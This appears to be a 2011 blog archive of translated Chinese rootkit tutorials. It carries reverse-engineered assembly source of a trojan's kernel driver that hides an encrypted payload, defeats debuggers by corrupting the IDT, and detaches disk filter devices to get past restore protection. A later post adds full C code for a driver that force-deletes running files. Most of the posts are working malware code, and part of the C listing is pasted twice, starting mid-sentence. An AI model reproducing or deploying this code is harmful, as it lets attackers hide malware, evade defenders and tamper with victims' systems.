  or  ecx, ecx
  jz  NoAttachedDevice
  mov  [eax+10h], ecx
 
NoAttachedDevice:
  jmp  Quit
 
IRPMJDEVICECONTROL:
  cmp  eax, 0Eh
  jnz  Quit
  mov  eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
  cmp  eax, 0F0003C04h ;Judge whether is client pass into ctlcode
  jnz  Quit
  call  CreateDecodeKey
  mov  ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  call  DecodeInputData
  mov  DecodeKEY, eax
  push  DecodeKEY
  push  offset Format  ; "%08X"
  call  DbgPrint
  add  esp, 8
  mov  eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
  cmp  eax, NumberOfBytes
  jbe  Quit
 
  mov  edi, [edi+3Ch];IRP.UserBuffer
  mov  esi, P
  mov  ecx, NumberOfBytes
  shr  ecx, 2
 
DecodeResource:  ;Export resource content, feed back to user
  lodsd
  xor  eax, DecodeKEY
  stosd
  dec  ecx
  jnz  DecodeResource
  mov  ecx, NumberOfBytes
  and  ecx, 3
  rep movsb
 
Quit:
  push  0
  push  pIrp
  call  IoCompleteRequest
  mov  eax, 0
  pop  ebx
  pop  esi
  pop  edi
  retn
DispatchFunction endp


;******************************************************************
; UnLoad routine
;******************************************************************
PCIHDDUnload proc pDriverObject :dword

  LOCAL DestinationString:OEM_STRING
  LOCAL SymbolicLinkName:UNICODE_STRING
 
  push  edi
  push  esi
  push  ebx
  pusha
  cmp  P, 0
  jz  CONTINUE
  push  P    ; P
  call  ExFreePool ;Free memory
 
CONTINUE:
  cmp  pDriverObject, 0 
  jz  QUIT
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  mov  edi, pDriverObject
  mov  esi, [edi+4]   ;DeviceObject
  jmp  IsDeviceExist
 
DELETEDEVICE:
  mov  edi, [esi+0Ch];DriverObject
  push  esi    ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
 
IsDeviceExist:
  or  esi, esi
  jnz  DELETEDEVICE
 
QUIT:
  popa
  pop  ebx
  pop  esi
  pop  edi
  retn
PCIHDDUnload endp



; **********************************************************************
; Here is entry of driver program; **********************************************************************
public start
start proc near

  LOCAL nTemp:dword
  LOCAL DestinationString:OEM_STRING
  LOCAL DeviceObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DeviceName:UNICODE_STRING
  LOCAL DriverObject:dword
 
  push  edi
  push  esi
  push  ebx
  pusha
  nop
  nop
  call  AntiDebug ;anti debug
  call  GetPeHeader
  or  eax, eax
  jz  QUIT ;Can't find current driver memory load place
  mov  ecx, eax
  lea  eax, nTemp
  push  eax
  push  3E8h
  push  3E8h
  push  ecx
  call  SearchResourceByIDInFirstLayer
  or  eax, eax
  jz  QUIT
  mov  NumberOfBytes, eax
  push  NumberOfBytes  ; NumberOfBytes
  push  0    ; PoolType
  call  ExAllocatePool ;in line with resource length apply for memory.
  mov  P, eax
  jmp  short $+2 ;Junk instruction
  mov  edi, P
  mov  esi, nTemp
  mov  ecx, NumberOfBytes
  rep movsb   ;Copy resource to buffer
  jmp   ContinueWork
 
QUIT:
  popa
  xor  eax, eax
  dec  eax
  pop  ebx
  pop  esi
  pop  edi
  retn
 
ContinueWork:
  jmp  short $+2 ;Judge instruction
  mov  eax, DriverObject
  mov  dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
  lea  edi, [eax+38h]    ;edi指向MajorFunction
  lea  eax, DispatchFunction
  mov  [edi], eax     ;IRP_MJ_CREATE          EQU    0
  mov  [edi+8], eax   ;IRP_MJ_CLOSE          equ   2
  mov  [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL  equ   0Eh  见ntddk.inc
 
  push  offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, DeviceName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  push  offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  15h    ; DeviceType
  lea  eax, DeviceName
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  DriverObject; DriverObject
  call  IoCreateDevice ;Create device
  or  eax, eax
  jz  CreateDeviceSucess
  jmp   Quit
 
CreateDeviceSucess:
  lea  eax, DeviceName
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink ;Create symbol link
  or  eax, eax
  jz  Quit
  mov  edi, DriverObject
  mov  esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
  jmp  StartCycle
 
ContinueDeleteDevice:
  mov  edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
  push  esi         ; DeviceObject
  call  IoDeleteDevice
  mov  esi, edi
 
StartCycle:
  or  esi, esi
  jnz  ContinueDeleteDevice
  jmp  short $+2 ;Junk instruction, Execute exit command
 
Quit:
  lea  eax, DeviceName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  lea  eax, SymbolicLinkName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  popa
  xor  eax, eax
  pop  ebx
  pop  esi
  pop  edi
  retn
start endp

end start

Wednesday, October 5, 2011

Learn and study Rootkit Specials 3: kernel hook - object hook(2)

;************************************************************************
; Take out resource imformation on third stage resource, if succeed, Return to take out resource length
;************************************************************************

SearchResourceByIDInThirdLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
  LOCAL RetValue:dword 
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch];Be named after entry count
  add  cx, [esi+0Eh];Entry count To ID named
  movzx  ecx, cx
  add  esi, 10h ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
 
  cmp  ecx, 0
  jbe  Quit
  mov  ebx, [esi+4] ;offsetToData directory entry pointer
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;ebx point IMAGE_RESOURCE_DATA_ENTRY structure
  mov  eax, [ebx]  ; Take out RVA of resource data, amount to first term of IMAGE_RESOURCE_DATA_ENTRY structure
  add  eax, PEHeader
  mov  ecx, pOutValue ;pOutValue point address of resource data
  mov  [ecx], eax
  mov  ecx, [ebx+4]
  mov  RetValue, ecx ;Return resource data length
 
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInThirdLayer endp



;************************************************************************
; Find resource term for ID named after ChildResID on second stage resource
;************************************************************************
SearchResourceByIDInSecondLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
 
  LOCAL RetValue:dword
  pusha
  xor  eax, eax
  mov  RetValue, eax
  mov  esi, ChildResource
  mov  cx, [esi+0Ch] ;Be named after entry count
  add  cx, [esi+0Eh] ;Entry count To ID named
  movzx  ecx, cx
  add  esi, 10h      ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchChildDirectoryEntry
 
ContinueSearchChildDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4] ;offsetToData directory entry pointer
  test  ebx, 80000000h
  jz  JumpOver ;; If highest 31bit is zero, Skip to continue next directory entry.
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;Otherwise take out next address
  mov  edx, [esi] ;Take out string pointer or ID of directory entry
  test  edx, 80000000h
  jnz  JumpOver  ;If highest 31bit is 1,[esi] oow order represent string pointer
  cmp  edx, ChildResID
  jnz  JumpOver
  push  pOutValue
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInThirdLayer
  mov  RetValue, eax
  or  eax, eax
  jz  JumpOver
  pop  ecx
  jmp  Quit
 
JumpOver:
  add  esi, 8
  pop  ecx
  dec  ecx
 
StartSearchChildDirectoryEntry:
  cmp  ecx, 0
  ja  ContinueSearchChildDirectoryEntry
 
Quit:
  popa
  mov  eax, RetValue
  retn
SearchResourceByIDInSecondLayer endp



;******************************************************************************************
; Find resource term for ID named after RESOURCEID on first stage resource
;******************************************************************************************

SearchResourceByIDInFirstLayer proc  PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
    LOCAL retvalue:dword
  LOCAL ResourceAddr:dword
 
  pusha
  xor  eax, eax
  mov  retvalue, eax
  mov  edi, PEHeader
  mov  edi, [edi+3Ch]
  add  edi, PEHeader
  mov  ecx, [edi+8Ch] ;Resource table size
  or  ecx, ecx
  jz  QUIT
  mov  eax, [edi+88h] ;Resource table RVA
  add  eax, PEHeader
  mov  ResourceAddr, eax
  push  eax    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jnz  @F
  jmp  QUIT
 
@@:
  mov  esi, ResourceAddr
  mov  cx, [esi+0Ch];Be named after entry count
  add  cx, [esi+0Eh];Entry count To ID named
  movzx  ecx, cx
  add  esi, 10h     ;esi point back IMAGE_RESOURCE_DIRECTORY_ENTRY
  jmp  StartSearchDirectoryEntry
 
ContinueSearchDirectoryEntry:
  push  ecx
  mov  ebx, [esi+4]  ;offsetToData directory entry pointer
  test  ebx, 80000000h
  jz  JumpOver ; If highest 31bit is zero, Skip to continue next directory entry.
  and  ebx, 7FFFFFFFh
  add  ebx, ResourceAddr ;Save next address
  mov  eax, [esi];Take directory string pointer or ID
  test  eax, 80000000h
  jnz   JumpOver ;If highest 31bit is 1,[esi] oow order represent string pointer
  cmp  eax, RESOURCEID
  jnz  JumpOver
  push  pOutValue ;Find matched resource ID
  push  ChildResID
  push  ebx
  push  ResourceAddr
  push  PEHeader
  call  SearchResourceByIDInSecondLayer
  mov  retvalue, eax
  pop  ecx
  jmp  QUIT
 
JumpOver:
  add  esi, 8 ;Continue read next directory entry
  pop  ecx
  dec  ecx
 
StartSearchDirectoryEntry:
  cmp  ecx, 0 ;Judge directory entry whether ergodic finish
  ja  ContinueSearchDirectoryEntry
 
QUIT:
  popa
  mov  eax, retvalue
  retn
SearchResourceByIDInFirstLayer endp



; ************************************************************************
;  Get memory load place of current driver file, if can't find, Return zero
;*************************************************************************

GetPeHeader proc  near

  LOCAL PEStart:dword
  pusha
  mov  PEStart, 0
 
CURRENT_EIP:
  lea  ebx, CURRENT_EIP
  and  ebx, 0FFFFFC00h ; Low bit zero clearing
 
CHECKPEHEADER:    ; VirtualAddress
  push  ebx
  call  MmIsAddressValid  ;Judge current address whether valid
  or  eax, eax             
  jz  QUIT           ;unsuccess is jumped to exit
  cmp  ebx, 80000000h ;If current eip less than or equal to 80000000h, exit
  jbe  QUIT
  cmp  word ptr [ebx],  5A4Dh ; 'MZ'
  jnz  SEARCHDOSHEADER
  mov  edi, ebx
  add  edi, [ebx+3Ch]
  push  edi    ; VirtualAddress
  call  MmIsAddressValid
  or  eax, eax
  jz  SEARCHPEHEADER
  cmp  word ptr [edi],  4550h ;'PE'
  jnz  SEARCHPEHEADER
  mov  PEStart, ebx
  jmp  QUIT
 
SEARCHPEHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
  jmp  QUIT
 
SEARCHDOSHEADER:
  sub  ebx, 400h
  jmp  CHECKPEHEADER
 
QUIT:
  popa
  mov  eax, PEStart
  retn
GetPeHeader endp



Tuesday, October 4, 2011

Learn and study Rootkit Specials 2: kernel hook - object hook(1)

Author:combojiang

Today will begin practical rootkit. The article talk object hook.

The article root in Backdoor Tyojan code of reverse, I only post applied part some time ago, I am not post kernel part for don't used in. But if learn, There is use rootkit that is  superduper example to learn. So I use it to first learn  rootkit. I hope to don't use code to other.

To the rootkit, Break restore is a part of function, Wonderful part isn't here, but imformation encryption and hide and anti-debugger oneself. After Reverse analyse, Author is good bitterness work hard, If the code use in the right direction, Will benefit many people......

First hide imformation bright spot: Rootkit as an resource hide on program of  user module.
Second hide imformation bright spot: The user program code as an preface of generate secret key, That can effectively prevent after reverse, imformation of hide is flawed, Because only after reverse to generate code is full same original author code, Do this can open deep hide link of downloader and code.

Third hide imformation bright spot: Use a fixed key, Generate array by 1024 secret key component, Then use the secret key array operate with user code, finaly generate 4 bytes decode key.
Use decode key, find to hide dirty bad thing on its resourse form driver of load to memory. and finaly full clear trace.
          
Four hide imformation bright spot: Modify idt 0e mark break, let it point a invalid address to BSOD when debug, Do this can anti-debug.

These bright spot only is on rootkit, As an part of user code have many bright spot, Because already post the code some time ago, Everyone refer to finde its bright spot. OK, joking apart.

Principle of break through restore card: Use object hook on here.

1. IRP_MJ_CREATE routine is used to get disc disk device object, Call IoGetDeviceObjectPointer function to get "\\Device\\Harddisk0\\DR0" - the name of device object, and detect device whether have other device articulated, If have to save the device and wipe off the articulated.

2. Recover addition of DR0  on IRP_MJ_CLOSE, Do this must come and go without a trace.

Ok, Let us watch reverse code:
.386
.model flat, stdcall
option casemap:none

include pcihdd.inc

.data
  aDevicePhysical  db '\Device\PhysicalHardDisk0',0
  aDosdevicesPhys  db '\DosDevices\PhysicalHardDisk0',0
  SourceString db  '\Device\Harddisk0\DR0',0
  g_DeviceObject dd  0
  g_AttachedDevice dd  0
  DecodeKey dd  1024 dup (0)
  DecodeKEY dd  0
  P dd 0
  NumberOfBytes dd 0
  IDTData db 6 dup(0)
  Format db '%08X',0

.code

;*******************************************************************************
; Generate a decode secret key array
;*******************************************************************************
CreateDecodeKey proc
  jmp  short $+2 ;junk instruction
  mov  ecx, 100h
  mov  edx, 0CCECC9B1h  ;KEY
 
OutLoop:
  lea  eax, [ecx-1]
  push  ecx
  mov  ecx, 8
 
InLoop:
  shr  eax, 1
  jnb  ContinueLoop
  xor  eax, edx
 
ContinueLoop:
  dec  ecx
  jnz  InLoop
  pop  ecx
  mov  DecodeKey[ecx*4], eax ;Save decode secret key array
  dec  ecx
  jnz  OutLoop
  retn
CreateDecodeKey endp

;*****************************************************************************
; Use mode import full code operate with above generation decode secret key, finaly generate decode key
; Decode key will be used to decode content of driver resource, After decode Resource feed back to user .(Watch start)
;*****************************************************************************
DecodeInputData proc  near
  jmp  short $+2 ;junk instruction
  mov  eax, 0FFFFFFFFh
  or  ebx, ebx   ;Judge IRP.AssociatedIrp.SystemBuffer whether is null
  jz  Quit
 
@@:
  mov  dl, [ebx]
  xor  dl, al
  movzx  edx, dl
  shr  eax, 8
  xor  eax, DecodeKey[edx*4]
  inc  ebx
  dec  ecx
  jnz  @B
 
Quit:
  not  eax
  retn
DecodeInputData endp




Monday, October 3, 2011

Learn and study Rootkit Specials 1: Content

Author:combojiang
What is rootkit? A great many friends don't know, Simply put, Rootkit is a peculiar malware. It hide oneself or specified file/process or network links etc imformations on be installed aim, Usual rootkit is used with trojan/back door etc malware. Rootkit through to load special drive, modify system kernel for hide imformation. Technology is rapier, We study it to aim at use the technology to protect our system, let our system can better strong.

To study of rootkit specials, main invole:
1.Kernel hook
About hook, ring3 to ring0 has many method, Depending on tache go forward one by one order that api is called, Every tache both have hook opportunity. May be int 2e or sysenter hook, ssdt hook, inline hook, irp hook, object hook, idt hook. here, We will one by one introduce.
   1)object hook
   2)ssdt hook
   3)inline-hook
   4)idt hook
   5)IRP hook
   6)SYSENTER hook
   7)IAT HOOK
   8)EAT HOOK

2. Part first Protected mode: ring3 to ring0 gate
   1)Through Call gate access kernel
   2)Through Interrupt gate access kernel
   3)Through Task gate access kernel
   4)Through Trap gate access kernel


3。Part two Protected mode: windows Paging machine made
   1)windows Paging machine made
  
4。Part third Protected mode: Immediate access hardware
   1)Modify iopl,ring3 immediate access hardware
   2)Add to default I/O allow bitmap range of tss
   3)ChangeI/O allow bitmap pointer of tss

5。detour modify path of function exe, Be used to control function flow for reset path.
   1)detour patch
  

6. Concealed body art
   1)Hide file
   2)Hide process
   3)Hide registry key value
   4)Hide driver
   5)Hide process's dll module
   6)Strong hide process's dll module, bypass IceSword detect
   7)Hide port
 
7。Call ring3 program on ring0
  1) apc way
  2) deviceiocontrol way

8。Monitor process's thread
  1)Monitor process to create
  2)Kill thread
  3)Protect process and shield file to execute  

9。Other
  1)Some method Get address of ntoskrnl.exe module模块地址的几种办法
  2)Driver infection technology popularize
  3)shadow ssdt learn note
  4)Past master advanced windows kernel timer one
  5)Past master advanced windows kernel timer two
  6)Running modify path of executable file and Command Line
  7)Find hide driver
  8)Some method load driver
  9)A rogue method Inject dll on kernel
  10)Another method read and write memory
  11)Full driver infect code
  12)Hook Shadow SSDT
  13)ring0 detection hide process


Sunday, October 2, 2011

Will translate tutorial of chinese rootkit

Will translate tutorial of chinese rootkit tomorrow. The tutorial is good for you and me by chinese past master worte. Because work every day, Will slow Translate articles. My english is not good,but I wish you read to know and join all comments

If you like its, please talk with me, Thanks!

Saturday, October 1, 2011

Learn to force delete running file

Author:yaolibing
Force delete file, Create IRP oneself in fact, Then send IRP for ntfs.sys, First set attribute of file, after delete file. When delete file, get routine dispatch of ntfs.sys, in turn entry NtfsSetDispositionInfo->MmFlushImageSection. MmFlushImageSection() will check SECTION_OBJECT_POINter structure of the file object,Check whether null,  i.e check the file run, if not, return TRUE. So if want to delete running file, A method, can set variable of SECTION_OBJECT_POINter structure  to 0. MmFlushImageSection() return TRUE,mean can delete. Another method can use MmFlushImageSection() - hook ntfs.sys import function, Check whether is deleted file on hook function, If yes, return True. Next is full code

#include <ntddk.h>

#define NT_DEVICE_NAME                L"\\Device\\SuperKill"
#define DOS_DEVICE_NAME               L"\\DosDevices\\SuperKill"


VOID
SKillUnloadDriver(
      IN PDRIVER_OBJECT    DriverObject
      )
{
      PDEVICE_OBJECT    deviceObject = DriverObject->DeviceObject;
      UNICODE_STRING    uniSymLink;

      RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
   
      IoDeleteSymbolicLink(&uniSymLink);

      IoDeleteDevice(deviceObject);
}


HANDLE
SkillIoOpenFile(
      IN PCWSTR FileName,
      IN ACCESS_MASK DesiredAccess,
      IN ULONG ShareAccess
      )
{
      NTSTATUS              ntStatus;
      UNICODE_STRING        uniFileName;
      OBJECT_ATTRIBUTES     objectAttributes;
      HANDLE                ntFileHandle;
      IO_STATUS_BLOCK       ioStatus;

      if (KeGetCurrentIrql() > PASSIVE_LEVEL)
      {
          return 0;
      }

      RtlInitUnicodeString(&uniFileName, FileName);

      InitializeObjectAttributes(&objectAttributes, &uniFileName,
          OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

      ntStatus = IoCreateFile(&ntFileHandle,
          DesiredAccess,
          &objectAttributes,
          &ioStatus,
          0,
          FILE_ATTRIBUTE_NORMAL,
          ShareAccess,
          FILE_OPEN,
          0,
          NULL,
          0,
          0,
          NULL,
          IO_NO_PARAMETER_CHECKING);

      if (!NT_SUCCESS(ntStatus))
      {
          return 0;
      }

      return ntFileHandle;
}

NTSTATUS
SkillSetFileCompletion(
      IN PDEVICE_OBJECT DeviceObject,
      IN PIRP Irp,
      IN PVOID Context
      )
{
      Irp->UserIosb->Status = Irp->IoStatus.Status;
      Irp->UserIosb->Information = Irp->IoStatus.Information;

      KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);

      IoFreeIrp(Irp);

      return STATUS_MORE_PROCESSING_REQUIRED;
}

BOOLEAN
SKillStripFileAttributes(
      IN HANDLE    FileHandle
      )
{
      NTSTATUS          ntStatus = STATUS_SUCCESS;
      PFILE_OBJECT      fileObject;
      PDEVICE_OBJECT    DeviceObject;
      PIRP              Irp;
      KEVENT            event1;
      FILE_BASIC_INFORMATION    FileInformation;
      IO_STATUS_BLOCK ioStatus;
      PIO_STACK_LOCATION irpSp;

      ntStatus = ObReferenceObjectByHandle(FileHandle,
          DELETE,
          *IoFileObjectType,
          KernelMode,
          &fileObject,
          NULL);//I want to the file handle on where process's handle table

      if (!NT_SUCCESS(ntStatus))
      {
          return FALSE;
      }

      DeviceObject = IoGetRelatedDeviceObject(fileObject);
      Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);

      if (Irp == NULL)
      {
          ObDereferenceObject(fileObject);
          return FALSE;
      }

      KeInitializeEvent(&event1, SynchronizationEvent, FALSE);

      memset(&FileInformation,0,0x28);

      FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;
      Irp->AssociatedIrp.SystemBuffer = &FileInformation;
      Irp->UserEvent = &event1;
      Irp->UserIosb = &ioStatus;
      Irp->Tail.Overlay.OriginalFileObject = fileObject;
      Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
      Irp->RequestorMode = KernelMode;
   
      irpSp = IoGetNextIrpStackLocation(Irp);
      irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
      irpSp->DeviceObject = DeviceObject;
      irpSp->FileObject = fileObject;
      irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);
      irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;
      irpSp->Parameters.SetFile.FileObject = fileObject;

      IoSetCompletionRoutine(
              Irp,
              SkillSetFileCompletion,
              &event1,
              TRUE,
              TRUE,
              TRUE);

      IoCallDriver(DeviceObject, Irp);//Call the device object, and IO_STACK_LOCATION will point next
                   //如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程
                                     

                                   //会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
                                   //控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
                                    //回调函数会释放刚分配的IRP和设置事件对象为受信状态。
      KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。

      ObDereferenceObject(fileObject);

      return TRUE;
}


BOOLEAN
SKillDeleteFile(
      IN HANDLE    FileHandle
      )
{
      NTSTATUS          ntStatus = STATUS_SUCCESS;
      PFILE_OBJECT      fileObject;
      PDEVICE_OBJECT    DeviceObject;
      PIRP              Irp;
      KEVENT            event1;
      FILE_DISPOSITION_INFORMATION    FileInformation;
      IO_STATUS_BLOCK ioStatus;
      PIO_STACK_LOCATION irpSp;
      PSECTION_OBJECT_POINTERS pSectionObjectPointer;     ////////////////////

      SKillStripFileAttributes( FileHandle);          //

      ntStatus = ObReferenceObjectByHandle(FileHandle,
          DELETE,
          *IoFileObjectType,
          KernelMode,
          &fileObject,
          NULL);

      if (!NT_SUCCESS(ntStatus))
      {
          return FALSE;
      }

      DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
                                                       //否则返回的是这个设备对象的highest level设备对象。
      Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7

      if (Irp == NULL)
      {
          ObDereferenceObject(fileObject);
          return FALSE;
      }

      KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
   
      FileInformation.DeleteFile = TRUE;

      Irp->AssociatedIrp.SystemBuffer = &FileInformation;
      Irp->UserEvent = &event1;
      Irp->UserIosb = &ioStatus;
      Irp->Tail.Overlay.OriginalFileObject = fileObject;
      Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
      Irp->RequestorMode = KernelMode;
   
      irpSp = IoGetNextIrpStackLocation(Irp);            //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
      irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
      irpSp->DeviceObject = DeviceObject;
      irpSp->FileObject = fileObject;
      irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
      irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
      irpSp->Parameters.SetFile.FileObject = fileObject;


      IoSetCompletionRoutine(
              Irp,
              SkillSetFileCompletion,
              &event1,
              TRUE,
              TRUE,
              TRUE);

//再加上下面这三行代码 ,MmFlushImageSection    函数通过这个结构来检查是否可以删除文件。
      pSectionObjectPointer = fileObject->SectionObjectPointer;
      pSectionObjectPointer->ImageSectionObject = 0;
      pSectionObjectPointer->DataSectionObject = 0;


      IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
                                      //MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
                                   //在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
                                   //的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
      KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);

      ObDereferenceObject(fileObject);

      return TRUE;
}

NTSTATUS DriverEntry(
          IN PDRIVER_OBJECT DriverObject,
          IN PUNICODE_STRING RegistryPath
          )
{
          UNICODE_STRING                  uniDeviceName;
          UNICODE_STRING                  uniSymLink;
           NTSTATUS                          ntStatus;
          PDEVICE_OBJECT                  deviceObject = NULL;
          HANDLE                hFileHandle;
   
          RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
          RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);

          ntStatus = IoCreateDevice(
                  DriverObject,
                  0x100u,
                  &uniDeviceName,
                  FILE_DEVICE_UNKNOWN,
                  FILE_DEVICE_SECURE_OPEN,
                  TRUE,
                  &deviceObject);

          if (!NT_SUCCESS(ntStatus))
          {
                  return ntStatus;
          }

      ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);

      if (!NT_SUCCESS(ntStatus))
      {
          IoDeleteDevice(deviceObject);
          return ntStatus;
      }

      DriverObject->DriverUnload = SKillUnloadDriver;

      //
      // 重点在这
      //
      hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
                          FILE_READ_ATTRIBUTES,
                          FILE_SHARE_DELETE);   //得到文件句柄

     if (hFileHandle!=NULL)
     {
          SKillDeleteFile(hFileHandle);
          ZwClose(hFileHandle);
     }
     return STATUS_SUCCESS;
} 表示能删除。另一种方法是HOOK NTFS.sys的导入表中的MmFlushImageSection()函数,在HOOK函数中检查是不是我们要删除的文件,是的话直接返回TRUE也行。下面是完整代码

#include <ntddk.h>

#define NT_DEVICE_NAME                L"\\Device\\SuperKill"
#define DOS_DEVICE_NAME               L"\\DosDevices\\SuperKill"


VOID
SKillUnloadDriver(
      IN PDRIVER_OBJECT    DriverObject
      )
{
      PDEVICE_OBJECT    deviceObject = DriverObject->DeviceObject;
      UNICODE_STRING    uniSymLink;

      RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
   
      IoDeleteSymbolicLink(&uniSymLink);

      IoDeleteDevice(deviceObject);
}


HANDLE
SkillIoOpenFile(
      IN PCWSTR FileName,
      IN ACCESS_MASK DesiredAccess,
      IN ULONG ShareAccess
      )
{
      NTSTATUS              ntStatus;
      UNICODE_STRING        uniFileName;
      OBJECT_ATTRIBUTES     objectAttributes;
      HANDLE                ntFileHandle;
      IO_STATUS_BLOCK       ioStatus;

      if (KeGetCurrentIrql() > PASSIVE_LEVEL)
      {
          return 0;
      }

      RtlInitUnicodeString(&uniFileName, FileName);

      InitializeObjectAttributes(&objectAttributes, &uniFileName,
          OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

      ntStatus = IoCreateFile(&ntFileHandle,
          DesiredAccess,
          &objectAttributes,
          &ioStatus,
          0,
          FILE_ATTRIBUTE_NORMAL,
          ShareAccess,
          FILE_OPEN,
          0,
          NULL,
          0,
          0,
          NULL,
          IO_NO_PARAMETER_CHECKING);

      if (!NT_SUCCESS(ntStatus))
      {
          return 0;
      }

      return ntFileHandle;
}

NTSTATUS
SkillSetFileCompletion(
      IN PDEVICE_OBJECT DeviceObject,
      IN PIRP Irp,
      IN PVOID Context
      )
{
      Irp->UserIosb->Status = Irp->IoStatus.Status;
      Irp->UserIosb->Information = Irp->IoStatus.Information;

      KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);

      IoFreeIrp(Irp);

      return STATUS_MORE_PROCESSING_REQUIRED;
}

BOOLEAN
SKillStripFileAttributes(
      IN HANDLE    FileHandle
      )
{
      NTSTATUS          ntStatus = STATUS_SUCCESS;
      PFILE_OBJECT      fileObject;
      PDEVICE_OBJECT    DeviceObject;
      PIRP              Irp;
      KEVENT            event1;
      FILE_BASIC_INFORMATION    FileInformation;
      IO_STATUS_BLOCK ioStatus;
      PIO_STACK_LOCATION irpSp;

      ntStatus = ObReferenceObjectByHandle(FileHandle,
          DELETE,
          *IoFileObjectType,
          KernelMode,
          &fileObject,
          NULL);//我想知道的是这个文件句柄是在哪个进程的句柄表中

